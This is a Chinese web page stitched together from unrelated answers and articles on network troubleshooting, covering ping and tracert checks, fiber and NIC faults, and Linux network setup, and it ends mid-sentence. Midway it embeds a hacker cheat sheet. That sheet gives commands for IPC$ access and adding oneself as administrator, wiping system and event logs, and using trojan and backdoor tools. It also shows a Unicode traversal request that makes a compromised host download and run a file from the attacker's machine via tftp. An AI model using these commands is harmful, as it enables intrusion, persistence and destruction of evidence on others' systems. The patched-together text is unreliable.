网络故障

第1章 网络可用性与差错管理1.1 OSI参考模型1.2 系统故障的原因1.3 系统故障的损失1.4 系统的高可用性1.5 企业的网络系统准则1.5.1 企业员工准则1.5.2 企业的网络硬件准则1.5.3 企业的网络软件准则1.6 网络规划和文档编制1.7 常规网络审计1.7.1 物理层审计1.7.2 数据链路层审计1.7.3 网络层审计1.8 网络管理、监视和诊断1.9 网络仿真1.10 网络变动管理1.11 编制网络故障文档1.12 培训网络支持人员1.13 小结第2章 网络故障诊断方法学2.1 网络故障诊断模型2.1.1 详细说明故障2.1.2 搜集详细情况2.1.3 分析可能原因2.1.4 制定操作计划2.1.5 实施操作计划2.1.6 观察操作计划的结果2.1.7 重复故障排除过程2.1.8 排除故障2.1.9 记录和整理有关情况2.2 诊断问题的方法2.2.1 试错法2.2.2 参照法2.2.3 替换法2.3 网络故障管理2.4 准备进行故障排除2.5 小结第3章 常用网络故障诊断命令3.1 ping3.1.1 语法与参数3.1.2 命令举例3.2 nslookup3.2.1 语法与参数3.2.2 命令举例3.3 ipconfig3.3.1 语法与参数3.3.2 命令举例3.4 netstat3.4.1 语法与参数3.4.2 命令举例3.5 nbtstat3.5.1 语法与参数3.5.2 命令举例3.6 tracert.3.6.1 语法与参数3.6.2 命令举例3.7 arp3.7.1 语法与参数3.7.2 命令举例3.8 pathping3.9 net3.10 小结第4章 网络故障诊断工具4.1 网线测试仪4.2 网络万用表4.3 光时域反射仪4.4 广域网分析仪4.5 协议分析器4.6 网络管理系统4.7 网络仿真工具4.7.1 OPNET的特点4.7.2 OPNET仿真模型库4.7.3 OPNET分析环境4.8 网络故障管理系统4.9 小结第5章 物理层故障诊断5.1 结构化布线5.1.1 布线准备5.1.2 布线选择5.1.3 布线规划5.1.4 避免厂扰5.1.5 设计和安装5.2 传输介质5.2.1 双绞线5.2.2 光纤5.2.3 同轴电缆5.2.4 红外线5.2.5 微波传输5.2.6 传导型介质与辐射型介质的比较5.3 RJ45接头制作5.4 物理层常见故障诊断5.4.1 网线问题导致网速变慢5.4.2 网络中存在网路导致网速变慢5.4.3 光纤故障诊断5.4.4 光纤收发器故障诊断5.5 小结第6章 数据链路层故障诊断6.1 网卡6.1.1 网卡概述6.1.2 网卡常见故障诊断6.2 交换机勺集线器6.2.1 交换机与集线器概述6.2.2 交换机故障诊断方法6.2.3 交换机常见故障诊断6.3 小结第7章 网络层故障诊断7.1 路由器7.2 路由器的配置7.3 路由器故障诊断命令7.4 路由器常见故障诊断7.4.1 路由器接口故障7.4.2 主机到本地路由器的以太网口不通7.4.3 主机到对方路由器广域网口或以太网口不通7.4.4 主机到对方目的主机不通7.4.5 串口连接故障7.4.6 Modem和路由器间无连接7.5 RIP故障诊断7.6 OSPF故障诊断7.6.1 协议基本配置是否正确7.6.2 邻居路由器之间的故障7.6.3 系统规划的故障7.6.4 其他疑难杂症7.7 BGP故障诊断7.7.1 建立邻居时出现故障7.7.2 路由丢失7.7.3 路由选择不致7.7.4 路由环路问题7.8 小结第8章 局域网故障诊断8.1 局域网中的在线测试8.1.1 信号状态测试、8.1.2 相对分析和统计测量8.2 局域网中的离线测试8.2.1 线缆测试8.2.2 检测外部干扰8.2.3 致性和兼容性测试8.2.4 负载测试8.3 以太网故障诊断8.3.1 以入网故障现象……第9章 线局域网故障诊断第10章 域网故障诊断第11章 用网络服务故障诊断参考文献

引起网络故障的原因非常复杂，排查起来也很让人挠头，下面简单介绍下典型的局域网故障实例和排除技巧。1、网络不通这是最常见的问题，解决问题的基本原则是先软后硬。(1)先从软件方面去考虑，检查是否正确安装了TCP/IP协议，是否为局域网中的每台计算机都指定了正确的IP地址。(2)使用Ping命令，看其他的计算机是否能够Ping通。如果不通，则证明网络连接有问题;如果能够Ping通但是有时候丢失数据包，则证明网络传输有阻塞，或者说是网络设备接触不大好，需要检查网络设备。(3)当整个网络都不通时，可能是交换机或集线器的问题，要看交换机或集线器是否在正常工作。(4)如果只有一台电脑网络不通，即打开这台电脑的“网络邻居”时只能看到本地计算机，而看不到其他计算机，可能是网卡和交换机的连接有问题，则要首先看一下RJ-45水晶头是不是接触不良。然后再用测线仪，测试一下线路是否断裂。最后要检查一下交换机上的端口是否正常工作。2、连接故障(1)检查RJ45接口是否制作好，RJ45是10BASE-T网络标准中的接口形式，现在被广泛使用，其内部有8个线槽，线槽含义遵循EIA/TIA568国际标准，在10BASE-T网络中1、2线为发送线，3、6线为接收线。在双机进行连接的时候，其中的1、3、2、6线需要对调。否则也会造成网络的不通。(2)检查HUB或者交换机的接头是否有问题，如果某个接口有问题，可以换一个接口来测试。3.网卡故障(1)网卡的问题不太明显，所以在测试的时候最好是先测试网线，再测试网卡，如果有条件的话，可以使用测线仪或者万用表进行测试。(2)查看网卡是否正确安装驱动程序，如果没有安装驱动程序，或者驱动程序有问题，则需要重新安装驱动程序。(3)硬件冲突。需要查看与什么硬件冲突，然后修改对应的中断号和I/O地址来避免冲突，有些网卡还需要在CMOS中进行设置。4、病毒故障互联网上有许多能够攻击局域网的病毒，如ARP病毒，网络执法官等软件的恶意使用也会导致网络故障。

光纤网络故障1 看光纤收发器或光模块的指示灯和双绞线端口指示灯是否已亮？a、如收发器的光口(FX)指示灯不亮，请确定光纤链路是否交叉链接？光纤跳线一头是平行方式连接；另一头是交叉方式连接。b、如A收发器的光口(FX)指示灯亮、B收发器的光口(FX)指示灯不亮，则故障在A收发器端：一种可能是：A收发器(TX)光发送口已坏，因为B收发器的光口(RX)接收不到光信号;另一种可能是：A收发器(TX)光发送口的这条光纤链路有问题(光缆或光线跳线可能断了)。c、双绞线(TP)指示灯不亮，请确定双绞线连线是否有错或连接有误?请用通断测试仪检测；(不过有些收发器的双绞线指示灯须等光纤链路接通后才亮，见网站的IMC光纤收发器调试手册)d、有的收发器有两个RJ45端口：(To HUB)表示连接交换机的连接线是直通线；(To Node)表示连接 交换机的连接线是交叉线；e、有的发器侧面有MPR开关：表示连接交换机的连接线是直通线方式;DTE开关：连接交换机的连接线是交叉线方式。光纤网络故障2 光缆、光纤跳线是否已断？a、光缆通断检测：用激光手电、太阳光、发光体对着光缆接头或偶合器的一头照光；在另一头看是否有可见光？如有可见光则表明光缆没有断。b、光纤连线通断检测：用激光手电、太阳光等对着光纤跳线的一头照光；在另一头看是否有可见光？如有可见光则表明光纤跳线没有断。光纤网络故障3 半/全双工方式是否有误？有的收发器侧面有FDX开关：表示全双工;HDX开关：表示半双工。光纤网络故障4 用光功率计仪表检测光纤收发器或光模

要视乎你的网络拓扑架构而定。。比较难详细说明。。最基本就是使用PING命令检查链路是否连通。。。

常用的几条NET命令：==================================================（与远程主机建立空管连接） net use \IP地址ipc$ /use:（以管理员身份登录远程主机） net use \IP地址ipc$ 密码 /use:Administrator（传送文件到远程主机WINNT目录下）copy 本机目录路径程序 \IP地址admin$（查看远程主机时间） net time \IP地址（定时启动某个程序） at \IP地址 02:18 readme.exe（查看共享） net view \IP地址（查看netbios工作组列表） nbtstat -A IP地址（将远程主机C盘映射为自己的F盘） net use f: \IP地址c$ /user:Administrator（这两条把自己增加到管理员组）： net user 用户名 密码 /addnet localgroup Administrators 用户名 /add（断开连接） net use \IP地址ipc$ /delete=====================================================擦屁屁：del C:winntsystem32logfiles*.*del C:winntssytem32config*.evtdel C:winntsystem32dtclog*.*del C:winntsystem32*.logdel C:winntsystem32*.txtdel C:winnt*.txtdel C:winnt*.log============================一、netsvc.exe下面的命令分别是列出主机上的服务项目、查寻和远程启动主机的“时间任务”服务：netsvc /list \IP地址netsvc schedule \IP地址 /querynetsvc \IP地址 schedule /start二、OpenTelnet.exe远程启动主机的Telnet服务，并绑定端口到7878，例如：OpenTelnet \IP地址 用户名 密码 1 7878然后就可以telnet到主机的7878端口，进入DOS方式下：telnet IP地址 7878三、winshell.exe一个非常小的木马（不到6K），telnet到主机的7878端口，输入密码winshell，当看到CMD>后，可打下面的命令：p Path （查看winshell主程序的路径信息）b reBoot （重新启动机器）d shutDown （关闭机器）s Shell （执行后你就会看到可爱的“C:>”）x eXit （退出本次登录会话，此命令并不终止winshell的运行）CMD> http://.../srv.exe （通过http下载其他网站上的文件到运行winshell的机器上）四、3389登陆器，GUI方式登录远程主机的五、elsave.exe事件日志清除工具elsave -s \IP地址 -l application -Celsave -s \IP地址 -l system -Celsave -s \IP地址 -l security -C执行后成功清除应用程序日志，系统日志，安全日志六、hbulot.exe开启win2kserver和winxp的3389服务hbulot [/r]使用/r表示安装完成后自动重起目标使设置生效。七、nc.exe(netcat.exe)一个很好的工具，一些脚本程序都要用到它，也可做溢出后的连接用。想要连接到某处: nc [-options] hostname port[s] [ports] ...绑定端口等待连接: nc -l -p port [-options] [hostname] [port]参数:-e prog 程序重定向，一旦连接，就执行 [危险!!]-g gateway source-routing hop point[s], up to 8-G num source-routing pointer: 4, 8, 12, ...-h 帮助信息-i secs 延时的间隔-l 监听模式，用于入站连接-n 指定数字的IP地址，不能用hostname-o file 记录16进制的传输-p port 本地端口号-r 任意指定本地及远程端口-s addr 本地源地址-u UDP模式-v 详细输出——用两个-v可得到更详细的内容-w secs timeout的时间-z 将输入输出关掉——用于扫描时八、TFTPD32.EXE把自己的电脑临时变为一台FTP服务器，让肉鸡来下载文件，tftp命令要在肉鸡上执行，通常要利用Unicode漏洞或telnet到肉鸡，例如：http://IP地址/s cripts/..%5c..%5c/winnt/system32/cmd.exe?/c tftp -i 本机IP地址 get 文件名 c:winntsystem32文件名然后可以直接令文件运行：http://IP地址/s cripts/..%5c..%5c/winnt/system32/cmd.exe?/c 文件名九、prihack.exe是IIS的printer远程缓冲区溢出工具。idqover.exe是溢出idq的，选择“溢出后在一个端口监听”，然后用telnet连接它的监听端口，如果溢出成功，一连它的端口，绑定的命令马上执行。xploit.exe是一个图形界面的ida溢出，成功以后winxp下需要打winxp。一○、ntis.exe、cmd.exe和cmdasp.asp是三个cgi-backdoor，exe要放到cgi-bin目录下，asp放到有ASP执行权限的目录。然后用IE浏览器连接。一、一 Xscan命令行运行参数说明：在检测过程中，按[空格]键可以查看各线程状态及扫描进度，按q键保存当前数据后提前退出程序，按<ctrl c>强行关闭程序。1.命令格式: xscan -host <起始IP>[-<终止IP>] <检测项目> [其他选项]xscan -file <主机列表文件名> <检测项目> [其他选项]其中<检测项目> 含义如下:-port : 检测常用服务的端口状态(可通过datconfig.ini文件的PORT-SCAN-OPTIONSPORT-LIST项定制待检测端口列表)；-ftp : 检测FTP弱口令(可通过datconfig.ini文件设置用户名/密码字典文件)；-ntpass : 检测NT-Server弱口令(可通过datconfig.ini文件设置用户名/密码字典文件)；-cgi : 检测CGI漏洞(可通过datconfig.ini文件的CGI-ENCODEencode_type项设置编码方案)；-iis : 检测IIS漏洞(可通过datconfig.ini文件的CGI-ENCODEencode_type项设置编码方案)；[其他选项] 含义如下:-v: 显示详细扫描进度-p: 跳过Ping不通的主机-o: 跳过没有检测到开放端口的主机-t <并发线程数量[,并发主机数量]>: 指定最大并发线程数量和并发主机数量, 默认数量为100,10

笔记本电脑网络故障的排查方法 　　由于笔记本电脑局域网中包括笔记本电脑网卡、网线、集线器等许多网络设备，因此网络的故障也是多种多样的，有时可能会影响某台笔记本电脑或某个网络功能的实现，有时可能会影响整个网络的运行，因此，掌握正确的故障诊断思路在排除网络故障的过程中十分重要。 　　1 .软件故障 　　软件故障时以分为两种情况: 一种是由于网络应用程序错误而造成的，另一种是病毒引起的。 　　网络应用程序错误造成的故障与配置不当的故障类似，多为由于人为参数设置不正确、程序操作不规范或误操作而引起网络应用程序不能正常工作、机器死机或系统瘫痪等故障现象。另外，在网络故障中还有很多故障是由于病毒引起的，因为在网络中许多笔记本电脑或终端设备都可以通过用域网接入Internet，在获得巨大资源的同时系统也在时刻面临着病毒的威胁目前，大多数病#毒还是以破坏软件系统为主，也有一些病毒可以直接对硬件造成损害，因此病毒故障仍然可以列入软件故障的范畴。对于这类故障，防范永远重于维修.只要规范操作流程，提高防范病#毒的意识，采用有效的防范手段，就可以大大减少这类故障的发生。 　　2. 硬件故障 　　硬件故障主要是指网络中的下要硬件设备，如笔记本电脑、网卡、集线器、交换机、路由器等产生的故障。这些硬件设备连接在网络中， 由于维护、使用不当或者设备本身老化，常常不能正常工作，从而引起网络故障。通常，这类故障现象较为明显且查找起来也相对容易，一般通过观察设备自身运行状况或用替换验证的.方法就可以找到故障部件。如网络中的集线器不能开启而造成该区域与该集线器连接的设备不能正常通信，从表面上发现该集线器的开关指示灯不亮，开启开关时无任何反应，可初步断定是集线器故障。又如网络中的一台笔记本电脑不能启动而造成在网络上找不到该节点，致使某机器中的文件和信息无法共享。如果该机直接控制网络打印，则还会导致网络打印功能无效。综上所述，可以看出对于这类故障一般可以通过故障现象逐点查找故障源。 　　3. 线路故障 　　在局域网中所有网络设备大都是依靠双绞线、同轴电缆、光纤等网络传输介质进行连接的，因此，线路故障也是网络中的常见的故障。例如，网线插头松动、插接错误或者线路受到强电磁干扰时就会引起故障。这类故障一般都为传输故障，所出现的故障现象不十分明显，查找起来有一定难度，尤其是许多局域网中所使用的网线都是自行连接的，人为错误也是造成故障的原因之一。所以，在检查线路故障时通常需要一些专用的线路测试工具。 　　4. 配置错误 　　要通过网络实现网络传输、资源共享等网络功能还必须对入网的设备进行配置，其中包括安装网卡驱动程序、安装配置网络协议、配置交换机、路由器以及网络服务设置等。这一系列过程大都需要人为操作完成，任何的配置错误或设置不当都可能造成网络不能传输数据或不能访问等故障. 　　以上就是常用的笔记本电脑网络故障的排查分析，希望对你有帮助 ;

顺序如下：ping 127.0.0.1 是检查 tcp/ip的协议是否安装了和正常工作。ping 本机IP 是检查 网卡是否工作正常ping 网关 是检查信息出口，路由器，交换机 线缆的连通性等设备是否工作正常ping 对方（远程）机IP： 是检查 对方设备是否工作正常通常是不ping DNS的ping DNS 和 ping 对方IP的作用大概一样..DNS和IP是可以互相转换解析法的。有时候ping对方（远程）机IP成功，ping DNS不成功。原因通常是对方DNS服务器有问题。还可以用tracert命令来排除网络故障，例如tracert www.baidu.com显示的结果是，你台机的信息到目的地说经过的路由数和路由信息.. 补： ping127.0.0.1是检查你的机子有没有安装TCP/ip协议（与网卡没有关系）.如果协议没安装或者安装有误，就无法正常产生127.0.0.1这个回路地址.Tcp/ip协议在本地连接的属性那里可以找到，安装和卸载。 通常能ping通本地IP，就一定能ping通127.0.0.1.但能ping通127.0.0.1，不一定能ping通本地IP。因为现在用网络通信协议主要是用TCP/ip。你本地的IP是通过DHCP分发获得的，而DHCP是属于TCP/IP协议结构里的一小部分。所以能ping通127.0.0.1，不能ping通本地IP。通常是网卡问题。 网关就是路由器的一个端口，可以把它当成是路由。内网连接到internet通信是通过路由。抽象来看网关就是你信息出去必定经过的一道门。 如果门坏了或那个地方没有门（出口），就等同网关（路由）有故障，设置错误类同。信息是出不去的。

计算机网络故障的诊断与排除 　　网络故障极为普遍，网络故障的种类也多种多样，要在网络出现故障时及时对出现故障的网络进行维护，以最快的速度恢复网络的正常运行，掌握一套行之有效的网络维护理论、方法和技术是关键。下面是我为大家搜索整理了关于计算机网络故障的诊断与排除，欢迎阅读参考，希望对大家有所帮助。想了解更多相关信息请持续关注我们应届毕业生培训网! 　　随着计算机的广泛应用和网络的日趋流行，功能独立的多个计算机系统互联起来，互联形成日渐庞大的网络系统。计算机网络系统的稳定运转已与功能完善的网络软件密不可分。计算机网络系统，就是利用通讯设备和线路将地理位置不同的、信息交换方式及网络操作系统等共享，包括硬件资源和软件资源的共享：因此，如何有效地做好本单位计算机网络的日常维护工作，确保其安全稳定地运行，这是网络运行维护人员的一项非常重要的工作。 　　在排除比较复杂网络的故障时，我们常常要从多种角度来测试和分析故障的现象，准确确定故障点。 　　一、分析模型和方法 　　(一)七层的网络结构分析模型方法 　　从网络的七层结构的定义和功能上逐一进行分析和排查，这是传统的而且最基础的分析和测试方法。这里有自下而上和自上而下两种思路。自下而上是：从物理层的链路开始检测直到应用。自上而下是：从应用协议中捕捉数据包，分析数据包统计和流量统计信息，以获得有价值的资料。 　　(二)工具型分析方法 　　工具型分析方法有强大的各种测试工具和软件，它们的自动分析能快速地给出网络的各种参数甚至是故障的分析结果，这对解决常见网络故障非常有效。 　　(三)综合及经验型分析方法靠时间、错误和成功经验的积累 　　在大多数的阿络维护工作人员的工作中是采用这个方法的，再依靠网管和测试工具迅速定位网络的故障。 　　二、计算机无法上网故障排除 　　1、对于某台联网计算机上不了网的故障，首先要分别确定此计算机的网卡安装是否正确，是否存在硬件故障，网络配置是否正确在实际工作中我们一般采用Ping本机的回送地址(127.0.0.1)来判断网卡硬件安装和TCP/IP协议的正确性。 　　如果能Ping通，即说明这部分没有问题。如果出现超时情况，则要检查计算机的网卡是否与机器上的其它设备存在中断冲突的问题。通过查看系统属性中的设备管理器，查看是否在网络适配器的设备前面有黄色惊叹号或红色叉号，如有则说明硬件的驱动程序没有安装成功，可删除后重新安装。另外，要确保TCP/IP协议安装的正确性，并且要绑定在你所安装的网卡上。如果重新安装后还是Ping不通回送地址，最好换上一块正常的网卡试一试。 　　当确保了计算机的硬件设备和网络配置正确后，接着就要查看计算机与交换机之间的双绞线，交换机的RJ45端口或交换机的配置是否有问题。此时我们要Ping上网计算机所在VLAN的网关，不通的话就要分段检查上面所说的各项。 　　最简单的方法是检查双绞线，用线缆测试仪检测双绞线是否断开。双绞线没有问题，就要查看交换机的端口是否坏了。交换机每一个端口都有状态指示灯以询问一下其它网管人员就可以排除了，如果不放心可以对照查看。交换机的参数配置表也是网络管理员必备的资料之一，并且随着网络用户的变化要不断地修改，检测到此，如果端口指示灯不亮，就只能是端口损坏了，可以把跳线接到正常使用的端口上排除其它原因，确定是端口的问题。 　　2、一批联网计算机上不了网对于同时有一批计算机上不了网的故障，首先要找到这些计算机的共性，如是不是属于同一VLAN或接在同一交换机上的，若这些计算机属于同一VLAN，且属于计算机分别连接于不同的楼层交换机，那么检查一下路由器上是否有acl限制，在路由器上对该VLAN的配置是否正确，路由协议(如我局的OSPF协议)是否配置正确。若这些计算机属于同一交换机，则应到机房检查该交换机是否有电源松落情况，或该交换机CPU负载率是否很高，与上一级网络设备的链路是否正常。 　　通常某交换机连接的所有电脑都不能正常与网内其它电脑通讯，这是典型的交换机死机现象，可以通过重新启动交换机的方法解决。如果重新启动后故障依旧，则检查一下那台交换机连接的所有电脑，看逐个断开连接的每台电脑的情况，慢慢定位到某个故障电脑，会发现多半是某台电脑上的网卡故障导致的。 　　故障通常是交换机的某个端口变得非常缓慢，最后导致整台交换机或整个堆叠慢下来。通过控制台检查交换机的状态，发现交换机的缓冲池增长得非常快，达到了90%或更多。原因及解决方法为：首先应该使用其它电脑更换这个端口上原来的连接，看是否由这个端口连接的那台电脑的网络故障导致的，也可以重新设置出错的端口并重新启动交换机，个别时候，可能是这个端口损坏了。 　　三、故障定位及排除的常用方法 　　(一)告警性能分析法 　　通过网管获取告警和性能信息进行故障定位。我们单位使用了深信服网络网管，可以对全单位的.网络设备进行管理，平时多观察各设备CPU负载率和各线路的流量。当有人反映不能连接至网络或网速很慢时，可通过网管观察计算机与交换机的连接情况，是否有时断时通的现象，交换机CPU负载率是否很高，线路流量是否很大。通过观察设备端口状态，分析和观察交换机哪个端口所接的计算机发包量不太正常。 　　(二)查看网络设备日志法 　　经常看一下网络设备的日志，分析设备状况。我曾经通过showlonging命令观察到4006交换机下连的2950交换机经常每隔7小时down掉，然后又up，因时间间隔较长，单位人员未感觉网络中断，在此期间我们检查并确定了光缆、光收发器、网线、交换机配置、交换机端口均正常，后来的间隔时间由原来的7小时减为7分钟。由此我们立即判定2950交换机本身有故障，马上将已准备好的备用交换机换上，从而减少了处理故障的时间，并在最短时间内恢复网络。 　　(三)替换法 　　替换法就是使用一个工作正常的物体去替换一个工作不正常的物体，从而达到定位故障、排除故障的目的。这里的物件可以是一段线缆、一个设备和一块模块。 　　(四)配置数据分析法 　　查询、分析当前设备的配置数据，通过分析以上的配置数据是否正常来定位故障。若配置的数据有错误，需进行重新配置。 　　总之，计算机网络技术发展迅速，网络故障也十分复杂，本文介绍了常见的几类故障及其维护方法。为了在网络出现故障时及时对网络进行维护，以最快的速度恢复网络的正常运行，在网络维护中还需要注意以下几个方面： 　　1、建立完整的组网文档，以供维护时查询。如系统需求分析报告、网络设计总体思路和方案、网路拓扑结构的规划、网络设备和网线的选择、网络的布线、网络的IP分配，网络设备分布等等。 　　2、做好网络维护日志的良好习惯，尤其是有一些发生概率低但危害大的故障和一些概率高的故障，对每台机器都要作完备的维护文档，以有利于以后故障的排查。这也是一种经验的积累。 　　3、提高网络安全防范意识，提高口令的可靠性，并为主机加装最新的操作系统的补丁程序和防火墙、防黑客程序等来防止可能出现的漏洞。 ;

网络故障排除对于网络技术专家和网络工程师是颇具挑战的工作。每当添加新的设备或网络发生变更时，新的问题就会出现，而且很难确定问题出在哪里。每一位网络工程师或专家都有自己的经验和必备工具，能让他们快速定位网络故障。以下的这些工具，是否是你的工具箱中的选项。 1. Nmap Nmap是开源工具，它被称作网络故障排除的“瑞士军刀”。它基本上是使用超级功能Ping，广播数据包来识别主机，包括主机的开放端口和操作系统版本。这些信息被集成到网络地图和清单中，从而使分析人员能够确定连接问题，漏洞和流量。 2. Netstat 随着网络复杂性的增加，需要简化网络管理让网络管理员的时间和输入更加有效。Netstat在类似于Unix的操作系统(包括Windows)上很有用。在处理网络安全性时，最好了解与企业网络的入站和出站连接。 3. tcpdump tcpdump是网络专家必备的故障排除工具。如果可以有效地使用它，那么可以在不影响无关应用程序的情况下快速查明网络问题。 4. Ping Ping是快速排除网络问题的最基础工具。可以轻松检查服务器是否已关闭，并且它在大多数操作系统中都可用。 5. TRACERT和Traceroute 对于任何网络团队而言，TRACERT和Traceroute都是重要的工具。他们可以深入了解数据采用的路径以及中间主机的响应时间。即使是最少量的信息也可以帮助阐明当前的问题。因此，在进行故障排除时，TRACERT和Traceroute无疑十分重要。 6. My Traceroute (MTR) MTR是诊断网络问题或仅探索网络性能的最佳工具之一。MTR将Ping和Traceroute的优点结合到一个工具中。是同时观察数据包丢失和等待时间的好方法。 7. Mockoon Mockoon是新的工具。它允许网络专家创建模拟API并针对它们构建前端，而无需使用后端。通过将Mockoon与Charles结合使用，甚至可以在系统的某些部分中使用实时API，而在其他部分中使用模拟API，而来回切换的工作量很小。 8. Wireshark Wireshark是可用的最佳数据包捕获工具之一，并且是网络分析的必备工具。它用途广泛，速度快，并提供了广泛的工具和筛选器，可准确识别网络上正在发生的事情。 9. OpenVAS 每个网络专家都应使用某种主动式漏洞扫描软件来检测网络威胁，在潜在威胁进入系统之前对其进行故障排除，而不是试图修复造成的破坏。建议使用Wireshark和OpenVAS之类的工具作为免费的开源工具，任何网络团队或专家都可以使用它们来识别对关键数据或系统的威胁。 10. Grey Matter Grey Matter是通用网格。它是下一代的3、4、7网络层，利用基于C的代理实现零信任安全性，证据链审计合规性，目标细分和低级报告，并且它是开源工具。如果试图找出“服务网格”的用例，可进行一些研究。 11. Linux系统Dig命令 Linux中的dig工具非常适合帮助解决站点可能位于的位置，关联的IP以及负载均衡后面的问题。 12. DNS和NS查找工具 今天，DNS和NS查找工具应该出现在每个网络专家的工具箱中。从智能手机和笔记本电脑到物联网设备和网络设备，我们使用的每个设备都使用IP和DNS地址。IP和设备之间的冲突一直在网络上发生。可靠的查找工具可以帮助隔离有问题的设备，并缩小要采取的故障排除步骤。 13. Speedtest-Plotter 速度和敏捷性对于生产力至关重要，尤其是随着远程工作的增加。Speedtest-Plotter是一款不错的网络故障排除工具，可使用附近的服务器来测量互联网带宽。可以跟踪一段时间内的速度(而不仅仅是一次分析)，同时确定连接性的相关变化。 14. Batfish 强烈建议你将网络配置分析添加到故障排除工具包中。虽然Ping可以告诉你某些设备或连接存在问题，Traceroute/MTR可以告诉你它在哪里出了问题，但是像Batfish这样的开源工具可以告诉您它为什么出现了故障。更好的是，可以使用Batfish或类似的验证工具来确保网络故障不会发生。 15. Fiddler 当考虑网络故障工具时，现在可用的SaaS很多。虽然如此，Wireshark和Fiddler是SaaS网络故障排除必不可少的工具。 16. New Relic And Pingdom 从两个方面监控每个系统。首先，从系统/服务器本身到外部进行监控，推荐New Relic。而从数据中心外部监控计算机的IP。推荐Pingdom。这种双向方法可以即时了解要在哪里找到问题。

浅谈Linux网络故障的解决办法 　　Linux继承了Unix以网络为核心的设计思想，是一个性能稳定的多用户网络操作系统。我告诉大家，Linux网络故障排除应当遵循先硬件后软件的方法。因为硬件如果出现物理损坏那么如何设定网络都不能解决故障。解决问题的方法可以从自身Linux计算机的网卡查起，然后到服务器、集线器、路由器等硬件。如果确定硬件没有问题了，再来考虑软件的设定。 　　1、检查网卡工作状况 　　(1)使用cat /proc/modules查看网卡的模块是否已被加载，驱动硬件是操作系统最基本的功能，操作系统通过各种驱动程序来驾驭硬件设备，和Windows系统不同Linux内核目前采用可加载的模块化设计(LKMs Loadable Kernel Modules)，就是将最基本的核心代码编译在内核中，而我们常见的驱动程序就是作为内核模块动态加载的，比如网卡驱动。Windows系统中我们一般“控制面板”的“设备管理器”查看硬件列表，在Linux中可以在命令行下输入：cat /proc/modules 即可显示Linux系统检测到的所有硬件设备。运行cat /proc/modules需要超级用户的权限，你可以使用su命令实现。 　　我Linux计算机中两块网卡模块：NE2000和8139已经加载。如果没有检测到硬件，用硬件检测程序Kuduz检测网卡，它和Windows中添加新硬件差不多。kudzu程序是通过查看/usr/share/hwdata/目录下的文件识别各种硬件设备的。如果核心支持该硬件，并且有该驱动程序就可自动装载。首先说明的是Linux下对网卡的支持往往是只对芯片的,所以对某些不是很著名的网卡,往往需要知道它的芯片型号以配置Linux.比如我的Top link网卡,就不存在Linux的驱动,但是因为它是NE2000兼容,所以把它当NE2000就可以在Linux下用了.所以当你有一块网卡不能用,在找Linux的驱动程序之前一定搞清楚这个网卡用的什么芯片,跟谁兼容,比如3c509,ne2000,etherexpress等等.这样的型号一般都在网卡上最大的一快芯片上印着,抄下来就是了。对于ISA接口的NE2000卡,先要作的一件事情,是将网卡设定为Jumpless模式.很多现在的网卡缺省都是PnP模式,这在Windows下的确能减少很多麻烦,但是Linux不支持,所以Linux下必须是Jumpless模式.一般所有网卡都有带的驱动盘和DOS下可执行的一个设定程序,用该程序将网卡设为 Jumpless。对于PCI网卡，可以使用如下命令来查看：less/proc/pci。在显示的列表中找到“Ethernet Controller”，记下厂商和型号。然后使用modprobe尝试加载正确的模块，比如modprobe 3c509。如果出现错误，说明该模块不存在。这时候你应该找到正确的模块并且重新编译。如果显示说该设备不存在，那也是因为没有正确的模块。找到正确的模块，并且编译，问题一般即可解决。 　　(2)使用Ifconfig-a命令检查网卡接口 　　如果已经检测到网卡，网卡硬件就没有问题，接下来检查网卡的软件设定。使用ifconfig -a命令： 　　第二块网卡没有分配IP地址，我们现在可以添加IP地址。以Redhat Linux 9.0为例。以root权限运行命令：neat出现图形化配置界面，然后添加IP地址后保存设置，从新启动网络和网络服务或计算机. 　　(4)编译网卡 　　如果Linux内核没有检测到网卡通常要重新安装网卡的驱动程序，网卡驱动程序安装方法步骤如下： 　　a、 编译并安装模块; 　　b、 修改/etc/conf.module 文件; 　　c、 修改/etc/sysconfig/network文件; 　　d、 修改/etc/sysconfig/network-scripts/ifcfg-eth0 文件; 　　e、 给网卡添加IP地址：打开网卡IP地址配置文件/etc/sysconfig/network-script/ifcfg-eh0. 　　e、然后用命令启动网络服务。 　　说明网卡问题：使用ifconfig来进行配置。如果运行ifconfig，将会给出所有已经安装了的网卡。如果没有显示可用的网卡，那么很有可能是以下原因之一：1. 网卡没有被Linux检测到;2. 没有与之相应的内核模块;3. 该模块没有被加载;4. Linux系统不支持你的网卡。就现在来说，出现问题4的可能性很小，一般来说都是问题2和3，也可能是1。 　　Linux下无线网卡的安装： 　　目前经过认证的PCMCIA网卡有两大类。使用基于朗讯(Lucent)芯片组的PCIMCIA无线网卡和使用基于intersil PRISM2-based cards 芯片组的PCMCIA的无线网卡见表-1。不过由于基于intersil PRISM2-based cards 芯片组的PCMCIA的无线网卡价格比较便宜(相当于朗讯(Lucent)芯片组的PCIMCIA无线网卡的三分之一)，所以国内的PCMCIA的无线网卡以后者居多。

有问题当然是先打网络供应商的电话。

上面解释得很详细了

在因特网中搜索资料，如果不能搜索到证明网络有问题。故障出现在服务器的问题和电脑自身系统的问题，将自己电脑重装系统如果仍然上不去网，就是服务器的问题，联系网络代理商解决问题。

检查的步骤：系统-网卡-网线-路由器-上网猫-宽带服务提供商第一步、检测系统TCP/IP协议是否正常不同的计算机之间必须使用相同的网络协议才能进行通信。 Internet 互联网上的计算机使用的是 TCP/IP 协议。这就好比我们人与人之间交流沟通，都要说大家能懂的语言，计算机要上网也是如此。首先按住键盘上的“开始键+R键”，然后在弹出的对话框中输入“CMD”接下来在弹出的命令提示符窗口中输入“ping 127.0.0.1”，如果在“ping 127.0.0.1”时，收到错误回馈，那说明我们电脑系统本身的TCP/IP网络协议可能存在问题。当TCP/IP出现故障时，就需要我们重新安装TCP/IP协议。第二步、检查本机网卡是否有故障当我们“ping 127.0.0.1”测试成功以后，接下来我们就对电脑的网卡进行测试。我们可以 Ping 本机IP测试网卡是否正常。首先按住键盘上的“开始键+R键”，然后在弹出的对话框中输入“CMD”，在新弹出的命令提示符下输入“ipconfig”,找到IP地址信息然后在命令行里输入 “ping 自己的IP地址”，如果 Ping 自己的 IP 